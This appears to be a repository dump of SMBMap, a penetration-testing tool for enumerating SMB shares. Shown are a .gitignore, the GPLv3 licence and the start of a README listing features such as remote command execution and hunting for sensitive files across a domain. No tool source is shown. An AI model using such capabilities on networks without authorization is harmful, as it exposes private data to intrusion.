├── .gitignore
├── LICENSE
├── README.md
├── setup.py
├── smbmap.1
└── smbmap
├── __init__.py
├── psutils
└── Get-FileLockProcess.ps1
└── smbmap.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # poetry
98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102 | #poetry.lock
103 |
104 | # pdm
105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
106 | #pdm.lock
107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
108 | # in version control.
109 | # https://pdm.fming.dev/#use-with-ide
110 | .pdm.toml
111 |
112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
113 | __pypackages__/
114 |
115 | # Celery stuff
116 | celerybeat-schedule
117 | celerybeat.pid
118 |
119 | # SageMath parsed files
120 | *.sage.py
121 |
122 | # Environments
123 | .env
124 | .venv
125 | env/
126 | venv/
127 | ENV/
128 | env.bak/
129 | venv.bak/
130 |
131 | # Spyder project settings
132 | .spyderproject
133 | .spyproject
134 |
135 | # Rope project settings
136 | .ropeproject
137 |
138 | # mkdocs documentation
139 | /site
140 |
141 | # mypy
142 | .mypy_cache/
143 | .dmypy.json
144 | dmypy.json
145 |
146 | # Pyre type checker
147 | .pyre/
148 |
149 | # pytype static type analyzer
150 | .pytype/
151 |
152 | # Cython debug symbols
153 | cython_debug/
154 |
155 | # PyCharm
156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
158 | # and can be added to the global gitignore or merged into this file. For a more nuclear
159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
160 | #.idea/
161 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SMBMap
2 |
3 | SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
4 |
5 | Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated.
6 |
7 | > **Note**
8 | > SMBMap has been updated to Python3!
9 |
10 | ## Installation
11 |
12 | ```bash
13 | $ sudo pip3 install smbmap
14 | $ smbmap
